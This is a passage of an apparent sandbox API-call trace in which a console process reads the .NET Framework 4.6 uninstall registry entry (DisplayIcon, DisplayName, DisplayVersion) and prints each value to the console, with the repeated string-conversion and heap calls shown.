hkey=0x5c, lpSubKey=0x0, lpValue="DisplayIcon", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x302970, pcbData=0x23f670*=0xb0 | out: pdwType=0x23f5f0*=0x1, pvData="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\\\DisplayIcon.ico", pcbData=0x23f670*=0xae) returned 0x0 [0148.004] __iob_func () returned 0x7fefd702a80 [0148.004] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.004] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.004] _fileno (_File=0x7fefd702ab0) returned 1 [0148.004] _errno () returned 0xc4bb0 [0148.004] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.004] _errno () returned 0xc4bb0 [0148.004] GetFileType (hFile=0x50) returned 0x1 [0148.004] lstrlenW (lpString=" ") returned 4 [0148.004] GetConsoleOutputCP () returned 0x1b5 [0148.004] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.004] GetConsoleOutputCP () returned 0x1b5 [0148.004] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.004] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.004] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.005] lstrlenW (lpString="DisplayIcon") returned 11 [0148.005] __iob_func () returned 0x7fefd702a80 [0148.005] _fileno (_File=0x7fefd702ab0) returned 1 [0148.005] _errno () returned 0xc4bb0 [0148.005] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.005] _errno () returned 0xc4bb0 [0148.005] GetFileType (hFile=0x50) returned 0x1 [0148.005] lstrlenW (lpString="DisplayIcon") returned 11 [0148.005] GetConsoleOutputCP () returned 0x1b5 [0148.005] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayIcon", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0148.005] GetConsoleOutputCP () returned 0x1b5 [0148.005] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayIcon", cchWideChar=11, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayIcon", lpUsedDefaultChar=0x0) returned 11 [0148.005] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0148.005] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.005] __iob_func () returned 0x7fefd702a80 [0148.005] _fileno (_File=0x7fefd702ab0) returned 1 [0148.005] _errno () returned 0xc4bb0 [0148.005] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.005] _errno () returned 0xc4bb0 [0148.005] GetFileType (hFile=0x50) returned 0x1 [0148.005] lstrlenW (lpString=" ") returned 4 [0148.005] GetConsoleOutputCP () returned 0x1b5 [0148.006] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.006] GetConsoleOutputCP () returned 0x1b5 [0148.006] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.006] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.006] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.006] __iob_func () returned 0x7fefd702a80 [0148.006] _fileno (_File=0x7fefd702ab0) returned 1 [0148.006] _errno () returned 0xc4bb0 [0148.006] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.006] _errno () returned 0xc4bb0 [0148.006] GetFileType (hFile=0x50) returned 0x1 [0148.006] lstrlenW (lpString="REG_SZ") returned 6 [0148.006] GetConsoleOutputCP () returned 0x1b5 [0148.006] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.006] GetConsoleOutputCP () returned 0x1b5 [0148.006] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.006] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.006] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.006] __iob_func () returned 0x7fefd702a80 [0148.006] _fileno (_File=0x7fefd702ab0) returned 1 [0148.006] _errno () returned 0xc4bb0 [0148.006] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.006] _errno () returned 0xc4bb0 [0148.006] GetFileType (hFile=0x50) returned 0x1 [0148.007] lstrlenW (lpString=" ") returned 4 [0148.007] GetConsoleOutputCP () returned 0x1b5 [0148.007] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.007] GetConsoleOutputCP () returned 0x1b5 [0148.007] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.007] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.007] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.007] __iob_func () returned 0x7fefd702a80 [0148.007] _fileno (_File=0x7fefd702ab0) returned 1 [0148.007] _errno () returned 0xc4bb0 [0148.007] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.007] _errno () returned 0xc4bb0 [0148.007] GetFileType (hFile=0x50) returned 0x1 [0148.007] lstrlenW (lpString="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\\\DisplayIcon.ico") returned 86 [0148.007] GetConsoleOutputCP () returned 0x1b5 [0148.007] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\\\DisplayIcon.ico", cchWideChar=86, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 86 [0148.007] GetConsoleOutputCP () returned 0x1b5 [0148.007] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\\\DisplayIcon.ico", cchWideChar=86, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\\\DisplayIcon.ico", lpUsedDefaultChar=0x0) returned 86 [0148.007] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 86 [0148.007] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.008] __iob_func () returned 0x7fefd702a80 [0148.008] _fileno (_File=0x7fefd702ab0) returned 1 [0148.008] _errno () returned 0xc4bb0 [0148.008] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.008] _errno () returned 0xc4bb0 [0148.008] GetFileType (hFile=0x50) returned 0x1 [0148.008] lstrlenW (lpString="\n") returned 1 [0148.008] GetConsoleOutputCP () returned 0x1b5 [0148.008] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.008] GetConsoleOutputCP () returned 0x1b5 [0148.008] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.008] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.008] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.008] GetProcessHeap () returned 0x2e0000 [0148.008] GetProcessHeap () returned 0x2e0000 [0148.008] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x302970) returned 1 [0148.008] GetProcessHeap () returned 0x2e0000 [0148.008] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x302970) returned 0xb2 [0148.008] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x302970 | out: hHeap=0x2e0000) returned 1 [0148.008] RegEnumValueW (in: hKey=0x5c, dwIndex=0x1, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.008] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x3c) returned 0x0 [0148.008] GetProcessHeap () returned 0x2e0000 [0148.008] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x3e) returned 0x2f9cc0 [0148.008] GetProcessHeap () returned 0x2e0000 [0148.008] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f9cc0) returned 1 [0148.008] GetProcessHeap () returned 0x2e0000 [0148.009] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f9cc0) returned 0x3e [0148.009] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2f9cc0, pcbData=0x23f670*=0x3c | out: pdwType=0x23f5f0*=0x1, pvData="Microsoft .NET Framework 4.6", pcbData=0x23f670*=0x3a) returned 0x0 [0148.009] __iob_func () returned 0x7fefd702a80 [0148.009] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.009] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.009] _fileno (_File=0x7fefd702ab0) returned 1 [0148.009] _errno () returned 0xc4bb0 [0148.009] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.009] _errno () returned 0xc4bb0 [0148.009] GetFileType (hFile=0x50) returned 0x1 [0148.009] lstrlenW (lpString=" ") returned 4 [0148.009] GetConsoleOutputCP () returned 0x1b5 [0148.009] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.009] GetConsoleOutputCP () returned 0x1b5 [0148.009] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.009] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.009] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.009] lstrlenW (lpString="DisplayName") returned 11 [0148.009] __iob_func () returned 0x7fefd702a80 [0148.009] _fileno (_File=0x7fefd702ab0) returned 1 [0148.009] _errno () returned 0xc4bb0 [0148.009] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.009] _errno () returned 0xc4bb0 [0148.009] GetFileType (hFile=0x50) returned 0x1 [0148.009] lstrlenW (lpString="DisplayName") returned 11 [0148.010] GetConsoleOutputCP () returned 0x1b5 [0148.010] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0148.010] GetConsoleOutputCP () returned 0x1b5 [0148.010] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayName", lpUsedDefaultChar=0x0) returned 11 [0148.010] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0148.010] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.010] __iob_func () returned 0x7fefd702a80 [0148.010] _fileno (_File=0x7fefd702ab0) returned 1 [0148.010] _errno () returned 0xc4bb0 [0148.010] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.010] _errno () returned 0xc4bb0 [0148.010] GetFileType (hFile=0x50) returned 0x1 [0148.010] lstrlenW (lpString=" ") returned 4 [0148.010] GetConsoleOutputCP () returned 0x1b5 [0148.010] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.010] GetConsoleOutputCP () returned 0x1b5 [0148.010] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.010] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.010] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.011] __iob_func () returned 0x7fefd702a80 [0148.011] _fileno (_File=0x7fefd702ab0) returned 1 [0148.011] _errno () returned 0xc4bb0 [0148.011] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.011] _errno () returned 0xc4bb0 [0148.011] GetFileType (hFile=0x50) returned 0x1 [0148.011] lstrlenW (lpString="REG_SZ") returned 6 [0148.011] GetConsoleOutputCP () returned 0x1b5 [0148.011] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.011] GetConsoleOutputCP () returned 0x1b5 [0148.011] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.011] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.011] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.011] __iob_func () returned 0x7fefd702a80 [0148.011] _fileno (_File=0x7fefd702ab0) returned 1 [0148.011] _errno () returned 0xc4bb0 [0148.011] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.011] _errno () returned 0xc4bb0 [0148.011] GetFileType (hFile=0x50) returned 0x1 [0148.011] lstrlenW (lpString=" ") returned 4 [0148.011] GetConsoleOutputCP () returned 0x1b5 [0148.011] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.011] GetConsoleOutputCP () returned 0x1b5 [0148.012] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.012] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.012] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.012] __iob_func () returned 0x7fefd702a80 [0148.012] _fileno (_File=0x7fefd702ab0) returned 1 [0148.012] _errno () returned 0xc4bb0 [0148.012] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.012] _errno () returned 0xc4bb0 [0148.012] GetFileType (hFile=0x50) returned 0x1 [0148.012] lstrlenW (lpString="Microsoft .NET Framework 4.6") returned 28 [0148.012] GetConsoleOutputCP () returned 0x1b5 [0148.012] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft .NET Framework 4.6", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0148.012] GetConsoleOutputCP () returned 0x1b5 [0148.012] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft .NET Framework 4.6", cchWideChar=28, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft .NET Framework 4.6", lpUsedDefaultChar=0x0) returned 28 [0148.012] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 28 [0148.012] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.012] __iob_func () returned 0x7fefd702a80 [0148.012] _fileno (_File=0x7fefd702ab0) returned 1 [0148.012] _errno () returned 0xc4bb0 [0148.012] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.012] _errno () returned 0xc4bb0 [0148.012] GetFileType (hFile=0x50) returned 0x1 [0148.012] lstrlenW (lpString="\n") returned 1 [0148.012] GetConsoleOutputCP () returned 0x1b5 [0148.013] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.013] GetConsoleOutputCP () returned 0x1b5 [0148.013] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.013] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.013] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.013] GetProcessHeap () returned 0x2e0000 [0148.013] GetProcessHeap () returned 0x2e0000 [0148.013] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f9cc0) returned 1 [0148.013] GetProcessHeap () returned 0x2e0000 [0148.013] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f9cc0) returned 0x3e [0148.013] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f9cc0 | out: hHeap=0x2e0000) returned 1 [0148.013] RegEnumValueW (in: hKey=0x5c, dwIndex=0x2, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayVersion", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.013] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x16) returned 0x0 [0148.013] GetProcessHeap () returned 0x2e0000 [0148.013] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x18) returned 0x2fd1a0 [0148.013] GetProcessHeap () returned 0x2e0000 [0148.013] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd1a0) returned 1 [0148.013] GetProcessHeap () returned 0x2e0000 [0148.013] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd1a0) returned 0x18 [0148.013] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fd1a0, pcbData=0x23f670*=0x16 | out: pdwType=0x23f5f0*=0x1, pvData="4.6.00081", pcbData=0x23f670*=0x14) returned 0x0 [0148.013] __iob_func () returned 0x7fefd702a80 [0148.013] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.013] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.013] _fileno (_File=0x7fefd702ab0) returned 1 [0148.013] _errno () returned 0xc4bb0 [0148.013] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.014] _errno () returned 0xc4bb0 [0148.014] GetFileType (hFile=0x50) returned 0x1 [0148.014] lstrlenW (lpString=" ") returned 4 [0148.014] GetConsoleOutputCP () returned 0x1b5 [0148.014] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.014] GetConsoleOutputCP () returned 0x1b5 [0148.014] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.014] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.014] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.014] lstrlenW (lpString="DisplayVersion") returned 14 [0148.014] __iob_func () returned 0x7fefd702a80 [0148.014] _fileno (_File=0x7fefd702ab0) returned 1 [0148.014] _errno () returned 0xc4bb0 [0148.014] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.014] _errno () returned 0xc4bb0 [0148.014] GetFileType (hFile=0x50) returned 0x1 [0148.014] lstrlenW (lpString="DisplayVersion") returned 14 [0148.014] GetConsoleOutputCP () returned 0x1b5 [0148.014] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0148.014] GetConsoleOutputCP () returned 0x1b5 [0148.015] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayVersion", lpUsedDefaultChar=0x0) returned 14 [0148.015] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 14 [0148.015] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.015] __iob_func () returned 0x7fefd702a80 [0148.015] _fileno (_File=0x7fefd702ab0) returned 1 [0148.015] _errno () returned 0xc4bb0 [0148.015] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.015] _errno () returned 0xc4bb0 [0148.015] GetFileType (hFile=0x50) returned 0x1 [0148.015] lstrlenW (lpString=" ") returned 4 [0148.015] GetConsoleOutputCP () returned 0x1b5 [0148.015] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.015] GetConsoleOutputCP () returned 0x1b5 [0148.015] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.015] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.015] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.015] __iob_func () returned 0x7fefd702a80 [0148.015] _fileno (_File=0x7fefd702ab0) returned 1 [0148.015] _errno () returned 0xc4bb0 [0148.015] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.015] _errno () returned 0xc4bb0 [0148.015] GetFileType (hFile=0x50) returned 0x1 [0148.015] lstrlenW (lpString="REG_SZ") returned 6 [0148.015] GetConsoleOutputCP () returned 0x1b5 [0148.016] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.016] GetConsoleOutputCP () returned 0x1b5 [0148.016] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.016] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.016] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.016] __iob_func () returned 0x7fefd702a80 [0148.016] _fileno (_File=0x7fefd702ab0) returned 1 [0148.016] _errno () returned 0xc4bb0 [0148.016] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.016] _errno () returned 0xc4bb0 [0148.016] GetFileType (hFile=0x50) returned 0x1 [0148.016] lstrlenW (lpString=" ") returned 4 [0148.016] GetConsoleOutputCP () returned 0x1b5 [0148.016] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 